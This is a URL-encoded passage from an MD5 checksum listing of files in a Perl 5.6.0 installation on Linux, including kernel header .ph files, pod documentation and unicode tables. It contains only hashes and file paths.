b%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fvmalloc.ph%0A3ccb53e9d478d12505247760dc60072d%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fvt.ph%0A9c24ed2ebaaea6f09b0ed8cf1840bb0f%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fvt_buffer.ph%0A9dd6c1b6936a0a9afb3cfc6a99a035ee%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fvt_kern.ph%0A3e9ef1ce7a449e9199c3ed6742266ac8%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fwait.ph%0Aa3638098045fdc757541a59170e8e285%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fwanpipe.ph%0A822eed56dc01b1731379acb8cd26b53d%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fwanrouter.ph%0A1853dd0d689d37b03537020525556e51%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fwatchdog.ph%0Aa06c9ea3b69296883c664ddfd4c04959%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fwavefront.ph%0A9ecd7de3ef6309a9b0a53655a977c9b2%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fwireless.ph%0A05f10049614ed81140380de36db7de52%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fwrapper.ph%0Ac5b46bb90623bf531c4c83bb347cbf8f%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fx25.ph%0A7f44954492e5c70861125ae5bf19245b%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fyam.ph%0A3aaf81661820ce186f0ef4bb84205f1b%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fzftape.ph%0Ad50574e6a58e187e789edc2f69a5efc0%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fzorro.ph%0A3707e7550c3d8515c11309f1175db1b2%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Flinux%2Fzorro_ids.ph%0A786509939d91a22fc116dab28552b947%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Fscsi%2Fscsi_ioctl.ph%0A8a1bb4db1818773911b906123c9ef1b9%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Fscsi%2Fscsi.ph%0Aaf6eea0e2e9ccc43464922403d1eade3%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Fscsi%2Fsg.ph%0A447ec3d39cb58206cd678e282f3150e9%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Fops.pm%0A294f259905b2b0119d31841207a43509%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fi386-linux%2Fre.pm%0A135b092fb4d40a9f032131451aa036d7%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fflush.pl%0A73d4dd23f080742f4efd35240391fc18%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fftp.pl%0A745889534dad81e7d43e9a94e6a46d2a%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fgetcwd.pl%0A94016ca71fe72d62f9f49c39df7648e2%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fgetopt.pl%0A952dc1a4e9e9fb55ff7d1756ab42ef33%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fgetopts.pl%0A460671d49c39da16104f621d2fff92a0%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fhostname.pl%0Aca853cf498e8c3f8e1c85788a50bbe48%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperl5004delta.pod%0A69bf2cf3b7782b39876a89e4c196ea99%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2FWin32.pod%0A1f98e10f62d7014987b55fc9d14cd4c5%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperl.pod%0Af66bc53ebe541fda4db0d6929b63cd90%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperl5005delta.pod%0A54af7e69955948c529967887aef00919%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlamiga.pod%0A3d603a07c9a98d6dea34bea51fe47602%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlapi.pod%0Ad24f8bb54847a8922852f7bda37acc26%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlapio.pod%0A32f516e41c88010e8c6e8c5d3fa57d38%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlbook.pod%0Ae55880ae3c5c30dfeb01aaad01580dc1%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlboot.pod%0A10ebcb734f7aeaf8b54245b3c3fa709d%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlbot.pod%0Ae288240a30adc7b0089305e67810043d%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlcall.pod%0A69b89d8c05d40b96d8d22eb2dbea7a2e%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlcompile.pod%0A1c8a277cf0fb44b21e9aa87ec5330fb1%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlcygwin.pod%0A11325ae0d427e4706891ae756128f358%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperldata.pod%0A240112550739cdd8efa340354c2374e4%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperldbmfilter.pod%0Ad968b9616296e8a55f2a3f2c1d76f741%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperldebguts.pod%0Abe460fb14394af65ac07110d2ece9cce%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperldebug.pod%0A028b7f70448fcce7438141079e363d35%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperldelta.pod%0A9ee8cfa423c1609dc11de716b94517bb%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperldiag.pod%0Ab4b758409a60784785dd7eca1e95446c%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperldos.pod%0Acc30ef9807782063bf65d942dada5687%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperldsc.pod%0Ad7a03f69879fe6b2ebd68ca300a5467d%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlembed.pod%0Ad1e09c099416e96a90df3d9e207a6769%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlfaq.pod%0A2a590dcf2b346b8d5bdac444b90ac3f6%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlfaq1.pod%0Aa5276375b7ec6b783d48a4ad21093a3c%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlfaq2.pod%0A683319351b5123372621fa52a971c8c7%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlfaq3.pod%0A9fbd6fd0fb3e0627db34d4ea3bd5dd60%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlfaq4.pod%0A1f949cd5f95e3c455879ff807d566ed6%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlfaq5.pod%0Ae4f310eb8ea53b7256934711ecd2125d%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlfaq6.pod%0Ab9f221fb5e75c196cbceed18aeba3485%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlfaq7.pod%0Abf72782f8762655f018dadeeaa93b9c8%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlfaq8.pod%0A46415030abbf8090a8b62a0d2ffe1e35%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlfaq9.pod%0A033c5835ad67522de8d9b792fc92ba8b%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlfilter.pod%0A1399862f69cb5b620c7619499ce287a2%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlfork.pod%0A02dede52cb6c85260b8f826e856e786e%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlform.pod%0Ae402cc2f5d715f9b2bd6f43c8edd64d6%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlfunc.pod%0A861c511b6b4a1ef7585a8201cd3d16e5%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlguts.pod%0A02315033307f6377c2c0edaf0d193af6%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlhack.pod%0Af112eee27389026985c274ab3235fb37%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlhist.pod%0A15714ba7b97c09ec765a9fbbb8c848cc%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlhpux.pod%0A08a4e2c1ce9dd124832a0574e3da9107%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlintern.pod%0Ac0d4765e7c2f70cb2de7909b4f427ffc%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlipc.pod%0A6551bc1801c8704f29830192c8809f01%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperllexwarn.pod%0A703d447f8bec22a92d54a3959828a37e%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperllocale.pod%0Ae5c09086d4c30f4ed9cdb74f578dec2f%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperllol.pod%0A3e5ef9d98dc76a40a056fa1bbd82d18a%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlmachten.pod%0Ad06a95855f3ae9a2d4500a6e97852c1b%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlmod.pod%0Af34f935ed0a7f0608b23d643f63d295b%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlmodinstall.pod%0A9f111d368de4a5424d5005ce45119e5a%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlmodlib.pod%0A583b9df2f750d7cda063c9ce59df6bd1%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlnumber.pod%0A1badf0b733900c9cf0c1900e8896f58e%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlobj.pod%0Aa8a73a195a1f5e6a7bc15cbd5ef194cc%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlop.pod%0Af7c851cf604cef5741978ed5a415e0e5%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlopentut.pod%0A8695e8a81d4aa40323d37d18a2e1a6cd%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlos2.pod%0A7e092e2bea908f30e734a1b518e7eb6c%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlos390.pod%0Af55a0f04ced1ebf5920f4b2d48d831b4%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlpod.pod%0A938839909073854187c8c3da07a23af4%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlport.pod%0Ab787f1a43f6d4b9d2cc695ea30cfab64%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlre.pod%0A872fd29eab2a3b58329fa543f88122f5%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlref.pod%0A387d716429875456e9c8ed43c2c29aac%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlreftut.pod%0A8e2d7e5fc8a924aa2d5e14b840d81667%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlrun.pod%0A768ac7f9ec80fe077a1b7f91e0df6fc6%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlsec.pod%0A582f042199e84201ec34c18ffe531bc4%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlstyle.pod%0A8e076dbe58f8cd3a39a8ea3425c3611a%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlsub.pod%0A5565475bc8e01c7037f3a6adac7adcc8%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlsyn.pod%0A44145a310bb3096a9fd5b1b65745bc9a%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlthrtut.pod%0A3c3744d8e8290073322a02d212d4cad2%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperltie.pod%0Af834103fa949dbbb9e79d9cbf93c9e62%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperltoc.pod%0Af895729f59e84cea3f64e71020e6f02d%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperltodo.pod%0A802534dbcf4c515e4fface8f4b7520ed%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperltoot.pod%0A7624b52618094c5d661672aba748574a%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperltootc.pod%0A6bd61d005cf622d983b1a45552986f14%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperltrap.pod%0Ad1dd83610f595da5c41d37e7ea44079e%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlunicode.pod%0A82a2a73fdb6fbfb7c62a96cc85d09a57%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlvar.pod%0A996c761ac9b625e93944ef8661f01966%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlvms.pod%0Adf4f6076e586bfc771c1c662e9cf2ca4%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlwin32.pod%0A44206019410f17fc5ebaea01a141c5a8%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlxs.pod%0Ac94ded7a8ab366b20d67b7fb450a7fa7%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpod%2Fperlxstut.pod%0A1a75c3e3f4cfdfc5d71c6fc79faaf18e%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fpwd.pl%0Aaa0c1648adf598c551e87f967a1902fb%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fimportenv.pl%0A5f1c0e107c7e41774c12b7b1d2c4aa84%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Finteger.pm%0A22a4b52583176fa0dfd9e22312eee530%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fless.pm%0A9308133eb5c6f5acad7ec0df84ba039c%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Flib.pm%0Abc7c65d92f6147d889a5ccde18aa612a%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Flocale.pm%0A0a7b3990278e6ddca5b79f715576920f%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Flook.pl%0A178d719fa17a1ae0f598ad7d1f87fb2f%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fnewgetopt.pl%0A6d33a11fc1b5a7b70b9bf5a6e952f924%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fopen.pm%0Add1e2c8605921b889e5a8be0d368c7f9%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fopen2.pl%0A01f765cb2ddfc8ddb163e969c93d603e%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fopen3.pl%0A6832b2df89ef4fcf8af8f7f206b070bd%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Foverload.pm%0A17734f91d1091d420f3ecb0d5aed26d1%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Fperl5db.pl%0A610533514a09637fa0535132078eb5aa%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FArabLnkGrp.pl%0A2e19ead3469ed486d310864ddf26de34%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FArabLink.pl%0A0d8eb863fcc8fe6eb9cf8a05397f2d3b%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FBidirectional.pl%0Ab1fae3d06a067554cf0730dd7c343739%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FArabShap.txt%0A04c5c8a6fb9268acd00f0a2c9bb5b898%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FCombiningClass.pl%0A82ee7ed7b7097a94e5e43759e6ead5a4%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FBlock.pl%0Aef4b09d90de627a4acbe1fe57fb399ec%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FBlocks.txt%0A2424685abe170d972854c158fae1b315%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FCategory.pl%0Aa53dea62552b866dfea7b5b21b2e5eae%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FDecomposition.pl%0A85e2a4a4e13f0585b6425fdd2df71054%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FCompExcl.txt%0A4ef2da44e98ae1a9166ff0dabe5487d3%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FBasicLatin.pl%0A78581f29bcd8079071ce7e97150df5e3%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FArabic.pl%0A97512c8e30579e7386c93722604fa941%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FAlphabeticPresentationForms.pl%0A6e7a598a3ed5a06a688f8f954b1bb860%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FArmenian.pl%0A7b0a796d342cf008d4ef474541081c2a%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FArrows.pl%0A817788fa4dcae4318af8bfaa9750456f%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FArabicPresentationForms-A.pl%0A96dab79100aafe86c5e5ff7a3f4b309a%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FArabicPresentationForms-B.pl%0Af38bd812c141c3eb213e987f42255d75%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FBlockElements.pl%0A4b2fd16fe40cd9d6350c6b7dd3530805%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FBengali.pl%0Add807746951965162f98242ec96971a9%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FBopomofoExtended.pl%0A39575e23a8eec141c763faec0c4989e3%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FBopomofo.pl%0A792755c00e2f7b18a061178a326e16de%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FBraillePatterns.pl%0A8496a2970efbd09901becb5c7c59f191%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FBoxDrawing.pl%0A1613c8d6e0d2b9544f1783cbf188db3e%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FCJKCompatibilityForms.pl%0Aada51588f3d0e62c8f754741af17336c%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FCJKCompatibility.pl%0A96498197cb097eaf50478b1f9d57c620%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FCJKUnifiedIdeographsExtensionA.pl%0A661576eed3dd66f51dce0e20384385e8%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FCJKCompatibilityIdeographs.pl%0A0a4e91ce911d7c5520b17ddf766f27da%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FCJKRadicalsSupplement.pl%0Ae63c8f03db6d45df4290e83ce73966e0%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FCJKSymbolsandPunctuation.pl%0Af2d02422b46e95dde288f5611d64479a%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FCJKUnifiedIdeographs.pl%0A81e9d0a5a957b611be4bcb20b6f3e2ee%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FControlPictures.pl%0A66d05a4ebad385b4e0924e32911a7ab3%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FCherokee.pl%0A2fb149b83f6b0088b9ebae7d5163c8fc%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FDevanagari.pl%0A2804d348b81deadf554c8c3e0b081cdc%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FCyrillic.pl%0A404964a83fbefc974a0d892709d88ba9%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FCombiningDiacriticalMarks.pl%0A351018e5a17984ac1ec6aa9ea34087f4%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FCombiningHalfMarks.pl%0A6cc1dba212730d8663c632cf587a5a62%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FCombiningMarksforSymbols.pl%0A2f60e580656a3b5b370c405cb16d659d%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FCurrencySymbols.pl%0A3ff4598ff34a1a33ef4f5457bd824a8f%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FGeometricShapes.pl%0Aa363b5c7d9e1ac1dd8d754572b45d2b7%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FDingbats.pl%0A1adf2933bd1dfd57b09f8d9ff5bbef8f%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FEnclosedCJKLettersandMonths.pl%0Ab238a44a0bf46f93f641474732e685c8%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FEnclosedAlphanumerics.pl%0A1a5be3ce1d749710490a8c240942ac3b%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FEthiopic.pl%0A429ab93651b65f4dba9816e691127b42%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FHalfwidthandFullwidthForms.pl%0A886394aedc96c38c35c0569a9b570b34%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FGeneralPunctuation.pl%0A07aff6066996de841a3f69996e7083e1%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FGeorgian.pl%0Ae7b31c7ed00b2ac7cd9f96fba57908c7%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FGreek.pl%0A7f27d26f433d94513f548999990fd773%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FGreekExtended.pl%0A1bf6f411799f240ca2d1376220e7a168%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FGujarati.pl%0A5318decf85a4b7d88e536170bd372289%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FGurmukhi.pl%0A66790b25a1c1bba2082fe3947fad52ce%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FIdeographicDescriptionCharacters.pl%0A045ce73c0b544007fc101b49b8951270%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FHangulCompatibilityJamo.pl%0A8b7fc9b7d6436286eb49874c713b53d6%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FHangulJamo.pl%0A8dba96bc087c17d319a9f2e50d5be62a%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FHangulSyllables.pl%0A777250d292d338e534cb25aa228ed473%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FHebrew.pl%0Ab83844a4f6521f3ae0711a3205a46f3c%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FHighPrivateUseSurrogates.pl%0Ac26739e26af001869ecea7205d0b797b%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FHighSurrogates.pl%0Adb07ea051ad2016d0756022cd5566bb5%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FHiragana.pl%0A451b01fddcc17d7a77f867fb1a80cc06%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FIPAExtensions.pl%0A6fe3d967f771a441d258945387f11216%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FKangxiRadicals.pl%0A179edbaf1dc588cb4d7a5b7e119e6cff%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FKanbun.pl%0Afb62e89d25093dda11bf40aefa63bef3%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FLatin-1Supplement.pl%0A5a0dd96a29259e30773f45a5e9b80263%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FKannada.pl%0A6fc2560d94e8745c43e9d800c2d4a0a7%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FKatakana.pl%0Ab0c2d185ab6ebd5de3f924e586baac30%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FKhmer.pl%0Ac8532eef320d793e9f3754b15157bdd4%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FLao.pl%0Ae27c6073658240b83d48dcca6cc30473%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FLatinExtendedAdditional.pl%0Af379778b6af2bcad0b43424d12fa059d%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FLatinExtended-A.pl%0A961db9f3081f5295a93f79e141d271f1%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FLatinExtended-B.pl%0A28f31ee605d7e84a5cd805c63cdafd3a%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FMathematicalOperators.pl%0A72948e9fca43a1c4bfa12e8b6292a20d%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FLetterlikeSymbols.pl%0A26973f701c3afe06de55790ce9bb09e2%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FLowSurrogates.pl%0Abdca771e0b2d57644abb16edf9014fcd%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FMalayalam.pl%0A8733bfdd7332a823a06acd140a630fa8%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FMiscellaneousTechnical.pl%0Ab7ec3e57ca4d32474b1acb19bbcefea2%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FMiscellaneousSymbols.pl%0Affc8cd6aec798114d969434fc3a261c4%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FSmallFormVariants.pl%0A6bc2c56b2441a32a5786c5409131f300%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FMongolian.pl%0A8a476f9d5c541fc5190fb4c04e65def5%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FMyanmar.pl%0A67ae10765d035132a02a24e8be2d76ce%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FNumberForms.pl%0A7b41c865c57ee4d46dd1bee3d758c3d0%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FOgham.pl%0Add2554d79851ff26a760da921c9afc13%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FOriya.pl%0Ac42ecc107657e6bb63213e45feba3328%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FPrivateUse.pl%0Af6e3e07ae35bfbe1b245a08b397797e7%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FOpticalCharacterRecognition.pl%0Abee5f8151009a40c3506ef41bbd7fc1c%20%20%2Fusr%2Flib%2Fperl5%2F5.6.0%2Funicode%2FIn%2FRunic.pl%0A